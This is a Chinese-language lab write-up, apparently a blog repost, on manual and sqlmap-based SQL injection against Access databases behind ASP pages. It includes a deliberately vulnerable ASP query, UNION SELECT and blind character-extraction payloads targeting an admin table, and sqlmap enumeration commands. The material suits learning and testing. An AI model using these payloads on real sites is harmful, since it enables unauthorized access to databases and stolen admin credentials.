ACCESS数据库注入

0X01

我们想来了解一下access数据库

Access注入是暴力猜解

Access数据结构(access只有一个数据库)

Access数据库

  表名

    列名

      数据

没有库这个概念 只有表这个概念

这应该就是今天的sql语句

<%
    id=request("id")
    sql="select * from product where id="&id
    set rs=conn.execute(sql)
%>

Set rs = conn.Execute(sql) 意思是说:执行这条SQL语句、并将它保存到记录集里面! 希望可以帮你解决问题
Set 赋值; conn.Execute()执行sql 语句、并返回值

0X02好的有思路之后进行第一步 手工注入

第一步肯定是先判断注入点是否存在注入啊 由于上面 看到语句sql="select * from product where id="&id已经构造闭合了

所以这里就不许要构造闭合

但是我们还是需要照着网上的步骤 因为现实中我们不可能知道源码

1.判断网站是否有注入点。

  在以asp?id=xx(任意数字)结尾的连接依次添加:

  • '
  • 1=1
  • 1=2

  若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点。

判断有注入点后我们进行手工注入看看有几个字段

order by 22正确 23错误 好的 那么有22个字段

那我们就可以构造语句

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

看见是3,15的位置是显示的是数据 那么我们后面爆破出来列明后就可以直接 把名字放到3,15的位置上面去了

那我们现在来拆解表名,列名 方法access注入攻击片段-逐字猜解法  //兼容性好,工具一般采用这种方法

构造语句

查表:and exists (select * from 表名) 存在的话就返回正常 不存在就返回不正常

查列:and exists (select 列名 from 表名)

查数据:1.确定长度 2.确定asc数据(asc编码)

1
2
3
4
5
and ( select top 1 len(列名) from admin)=5  //=换成<=5也成立,下同
 
and ( select top 1 asc (mid(列名,位数,1)) from admin)=97
 
and ( select top 1 asc (mid(列名,位数,1)) from admin)=97

  当然这里我们也可以用啊D来跑一下

0X02sqlmap梭哈

先来初步试探 因为不知道DBMS是什么类型的

sqlmap.py -u "www.xxx.xxx" (什么都不加 不知道数据库类型)

 这里sqlmap判断出来是acess数据库 问我们是否尝试其他的数据库类型 n 我们不尝试了

那我们它又问我们是否要使用字典爆破表名  点yes 常见的3140个表名挨个的爆破

知道表明了后 直接爆破列名

sqlmap.py -u "www.xxx.xxx" -T “admin" --columns

 

也会继续用字典进行枚举爆破

今天是第一次接触到access数据库 以前遇见asp的网站的时候 就说为什么单引号报错 双引号也报错 原来asp的sql和php的sql语句都不一样  就一次小小的靶场就收获这么多

感谢卿哥为我们提供一个这么好的环境 受益匪浅

 学习不要浮躁 慢慢来

猜你喜欢

转载自www.cnblogs.com/-zhong/p/10920669.html